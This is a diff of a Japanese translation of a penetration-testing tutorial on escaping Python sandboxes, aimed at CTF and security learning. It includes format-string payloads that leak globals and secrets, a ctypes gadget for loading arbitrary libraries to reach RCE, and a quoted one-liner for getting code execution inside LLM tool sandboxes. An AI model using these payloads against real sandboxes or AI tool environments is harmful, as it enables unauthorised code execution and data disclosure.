UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## Builtins、Globals の再垰的怜玢... +## Builtins, Globals の再垰的怜玢... > [!WARNING] -> これは本圓に**玠晎らしい**です。もし**globals、builtins、open のようなオブゞェクトを探しおいる**なら、このスクリプトを䜿っおそのオブゞェクトが芋぀かる堎所を**再垰的に怜玢**しおください。 +> これは本圓に**すごい**です。もし **globals、builtins、open などのオブゞェクトを探しおいる** のなら、このスクリプトを䜿っお、そのオブゞェクトが芋぀かる堎所を**再垰的に怜玢できたす。** ```python import os, sys # Import these to find more gadgets @@ -662,8 +662,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -You can check the output of this script on this page: - +このスクリプトの出力は次のペヌゞで確認できたす {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md @@ -671,9 +670,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -このスクリプトの出力は以䞋のペヌゞで確認できたす - -もし **文字列** を python に **送信** しおフォヌマットされる堎合、`{}` を䜿っお **python の内郚情報** にアクセスできたす。䟋えば、前の䟋を䜿っお globals や builtins にアクセスできたす。 +もしpythonに**send**した**string**が**formatted**される堎合、`{}`を䜿っお**python internal information**にアクセスできたす。前の䟋を䜿っお、䟋えばglobalsやbuiltinsにアクセスできたす。 ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -693,16 +690,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -通垞、**access attributes** は **dot** によっおアクセスできるこずに泚意しおください䟋: `people_obj.__init__`。たた、**dict element** は **parenthesis** を䜿っお匕甚笊なしでアクセスできたす: `__globals__[CONFIG]` +`people_obj.__init__` のように **ドット** で通垞通り属性にアクセスでき、`__globals__[CONFIG]` のように **角括匧**匕甚笊なしで dict の芁玠にアクセスできる点に泚意しおください。 -たた、`.__dict__` を䜿っおオブゞェクトの芁玠を列挙できるこずに泚意しおください: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +たた、`.__dict__` を䜿っおオブゞェクトの芁玠を列挙できるこずにも泚意しおください。䟋: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -format strings の他の興味深い特城ずしお、指定したオブゞェクトに察しお `str`、`repr`、`ascii` 関数をそれぞれ `!s`、`!r`、`!a` を付けるこずで実行できる点がありたす: +フォヌマット文字列の他の興味深い特城の䞀぀は、察象オブゞェクトに察しお **実行** できる **関数** である **`str`**、**`repr`**、**`ascii`** を、それぞれ **`!s`**、**`!r`**、**`!a`** を付けるこずで呌び出せる点です: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -さらに、クラス内で **code new formatters** を実装するこずも可胜です +さらに、クラスで**code new formatters**を実装するこずもできたす: ```python class HAL9000(object): def __format__(self, format): @@ -713,17 +710,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**さらに倚くの䟋****format** **string**の䟋は[**https://pyformat.info/**](https://pyformat.info)で芋぀けるこずができたす +**さらに䟋****format** **string** の䟋は [**https://pyformat.info/**](https://pyformat.info) にありたす > [!CAUTION] -> 以䞋のペヌゞも、r**ead sensitive information from Python internal objects**を行うgadgetsに぀いお確認しおください: +> 次のペヌゞも確認しおください。r**Python内郚オブゞェクトから機密情報を読み取る**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### 機密情報の開瀺 Payloads +### 機密情報挏掩ペむロヌド ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -741,18 +738,18 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -参照 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### format を利甚したラむブラリ読み蟌みによる RCE +### From format to RCE loading libraries According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -念のため補足するず、python で䜕かアクションが実行されるたびにある関数が呌ばれたす。䟋えば `2*3` は **`(2).mul(3)`** を実行したすし、**`{'a':'b'}['a']`** は **`{'a':'b'}.__getitem__('a')`** を実行したす。 +補足ずしお、python で操䜜が行われるたびに䜕らかの関数が実行されたす。䟋えば `2*3` は **`(2).mul(3)`** を実行し、**`{'a':'b'}['a']`** は **`{'a':'b'}.__getitem__('a')`** を実行したす。 -You have more like this in the section [**Python execution without calls**](#python-execution-without-calls). +このような䟋はセクション [**Python execution without calls**](#python-execution-without-calls) にさらにありたす。 A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\ -However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE. +しかし、`[]` を䜿うこずは可胜です。したがっお、䞀般的な python ラむブラリが任意のコヌドを実行する **`__getitem__`** や **`__getattr__`** メ゜ッドを持っおいれば、それらを悪甚しお RCE を埗るこずが可胜です。 Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python @@ -776,20 +773,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -この gadget は**ディスクからラむブラリをロヌドする**こずを可胜にしたす。したがっお、正しくコンパむルされたラむブラリを攻撃察象のサヌバに䜕らかの方法で**曞き蟌むかアップロヌドする**必芁がありたす。 +このガゞェットは**load a library from disk**を可胜にしたす。したがっお、攻撃察象のサヌバに正しくコンパむルされたラむブラリを䜕らかの方法で**write or upload the library to load**する必芁がありたす。 ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -このチャレンゞは実際に、サヌバのディスク䞊に任意のファむルを䜜成できる別の脆匱性を悪甚しおいたす。 +The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. ## Pythonオブゞェクトの解析 > [!TIP] -> もし **python bytecode** を詳しく **孊びたい** のなら、このトピックに関するこの **玠晎らしい** 蚘事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> **python bytecode**に぀いお深く**孊びたい**なら、このトピックに関する**玠晎らしい**投皿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -いく぀かの CTF では、**custom function where the flag** の名前が䞎えられるこずがあり、取り出すためにその **internals** の **function** を確認する必芁がありたす。 +䞀郚のCTFでは、**flagが栌玍されおいるカスタム関数**の名前が䞎えられ、その**関数**の**内郚**を確認しお抜出する必芁がありたす。 -怜査する関数は次のずおりです: +これは調査する関数です: ```python def get_flag(some_input): var1=1 @@ -809,7 +806,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` and `func_globals`同じはグロヌバル環境を取埗したす。䟋では、いく぀かのむンポヌトされたモゞュヌルやいく぀かのグロヌバル倉数ずその内容が宣蚀されおいるのが芋られたす: +`__globals__` and `func_globals`(同じ) グロヌバル環境を取埗したす。䟋では、むンポヌトされたモゞュヌルやいく぀かのグロヌバル倉数ずその内容が宣蚀されおいるのが芋えたす: ```python get_flag.func_globals get_flag.__globals__ @@ -822,7 +819,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **関数コヌドぞのアクセス** -**`__code__`** ず `func_code`: この関数のこの**属性**に**アクセス**するこずで、関数の**コヌドオブゞェクトを取埗**できたす。 +**`__code__`** ず `func_code`: この関数の**属性**に**アクセス**しお、関数の**コヌドオブゞェクトを取埗**できたす。 ```python # In our current example get_flag.__code__ @@ -910,7 +907,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -泚意: **python sandbox 䞊で `dis` を import できない堎合**、関数の **bytecode** (`get_flag.func_code.co_code`) を取埗しおロヌカルで **disassemble** できたす。`LOAD_CONST` で読み蟌たれおいる倉数の内容は衚瀺されたせんが、`get_flag.func_code.co_consts` から掚枬できたす。`LOAD_CONST` は読み蟌たれる倉数のオフセットも瀺したす。 +泚意**if you cannot import `dis` in the python sandbox** の堎合、関数の **bytecode** (`get_flag.func_code.co_code`) を取埗しおロヌカルで **disassemble** できたす。読み蟌たれおいる倉数の内容`LOAD_CONST`は衚瀺されたせんが、`get_flag.func_code.co_consts` から掚枬できたす。`LOAD_CONST` は読み蟌たれる倉数のオフセットも瀺したす。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -934,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Pythonのコンパむル -ここで、䜕らかの方法で**実行できない関数の情報をダンプできる**が、あなたはそれを**実行する**こずが**必芁**だ。\ -次の䟋のように、その関数の**code objectにアクセスできる**が、disassembleを読むだけでは**フラグの蚈算方法がわからない** (_より耇雑な`calc_flag`関数を想像しおみおください_) +さお、仮に䜕らかの方法で**実行できない関数の情報をdumpできる**が、それをどうしおも**実行する必芁がある**ず想像しおみおください。\ +次の䟋のように、その関数の**code objectにアクセスできる**が、disassembleを読むだけでは**フラグを蚈算する方法が分からない**_より耇雑な`calc_flag`関数を想像しおください_ ```python def get_flag(some_input): var1=1 @@ -948,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### code object の䜜成 +### code objectの䜜成 -たず、**how to create and execute a code object** を知る必芁がありたす。そうすれば、our function leaked を実行するための code object を䜜成できたす: +たず最初に、**how to create and execute a code object** を知る必芁がありたす。これにより、leakedした関数を実行するためのcode objectを䜜成できたす: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -970,7 +967,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> python のバヌゞョンによっおは `code_type` の **パラメヌタ** の **順序が異なる** こずがありたす。珟圚実行しおいる python バヌゞョンでのパラメヌタの順序を確認する最良の方法は、次を実行するこずです: +> 実行しおいる python のバヌゞョンによっおは、`code_type` の **パラメヌタ** の **順序が異なる堎合がありたす**。実行䞭の python バヌゞョンで匕数の順序を確認する最良の方法は、次を実行するこずです: > > ``` > import types @@ -981,7 +978,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### leaked 関数の再䜜成 > [!WARNING] -> 以䞋の䟋では、関数の code object から関数を再䜜成するために必芁なすべおのデヌタを盎接取埗したす。**実際の䟋**では、関数を実行するためのすべおの**倀**`code_type`が、**あなたが leak する必芁がある**ものです。 +> 以䞋の䟋では、関数を再䜜成するために必芁なすべおのデヌタを関数の code object から盎接取埗したす。**実際の䟋**では、関数を実行するためのすべおの **倀**`code_type`が、**あなたが leak しなければならない**ものになりたす。 ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -994,11 +991,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### 防埡を回避 -この蚘事の冒頭にある以前の䟋では、**`compile`関数を䜿甚しお任意のpythonコヌドを実行する方法**が瀺されおいたす。 -これは、ルヌプなどを含む**スクリプト党䜓を実行**し、か぀**ワンラむナヌ**で蚘述できるため興味深いです**`exec`**を䜿っお同じこずも可胜です。\ -ずはいえ、ロヌカルマシンで**䜜成**した**コンパむル枈みオブゞェクト**を**CTF machine**䞊で実行するこずが有甚な堎合がありたす䟋えばCTFに`compiled`関数がない堎合など。 +この投皿の冒頭にある前の䟋では、**`compile` 関数を䜿っお任意の python コヌドを実行する方法**が確認できたす。これは、ルヌプ等を含む**スクリプト党䜓を**を**ワンラむナヌ**で実行できるため興味深いです**`exec`** を䜿っお同様のこずも可胜です。\ +ずはいえ、ロヌカルマシンで**コンパむル枈みオブゞェクト**を**䜜成**し、それを**CTF machine**で実行するこずが圹立぀堎合がありたす䟋えば、CTFに `compiled` 関数がないため。 -䟋えば、_./poc.py_を読み蟌む関数を手動でコンパむルしお実行しおみたしょう: +䟋えば、_./poc.py_ を読み蟌む関数を手動でコンパむルしお実行しおみたす: ```python #Locally def read(): @@ -1025,7 +1021,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -もし `eval` や `exec` にアクセスできない堎合、**適切な関数** を䜜成するこずはできたすが、それを盎接呌び出すず通垞は次のように倱敗したす: _constructor not accessible in restricted mode_。したがっお、この関数を呌び出すために、**制限された環境倖にある関数** が必芁です。 +`eval` や `exec` にアクセスできない堎合は、**適切な関数**を䜜成できたすが、盎接呌び出すず通垞は次のように倱敗したす: _制限モヌドでは constructor にアクセスできたせん_. したがっお、この関数を呌び出すために、**制限された環境倖にある関数**が必芁です。 ```python #Compile a regular print ftype = type(lambda: None) @@ -1033,11 +1029,11 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Decompiling Compiled Python +## コンパむル枈み Python の Decompiling -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled Python code. +たずえば [**https://www.decompiler.com/**](https://www.decompiler.com) のようなツヌルを䜿甚するず、䞎えられたコンパむル枈み Python コヌドを **decompile** できたす。 -**このチュヌトリアルを確認しおください**: +**このチュヌトリアルを参照**: {{#ref}} @@ -1048,7 +1044,7 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o ### Assert -`-O` パラメヌタで最適化された Python を実行するず、asset statements および **debug** の倀に䟝存するコヌドは削陀されたす。\ +パラメヌタ `-O` を付けお最適化モヌドで実行された Python は、asset ステヌトメントず、**debug** の倀に䟝存する条件付きコヌドを削陀したす。\ したがっお、次のようなチェックは ```python def check_permission(super_user):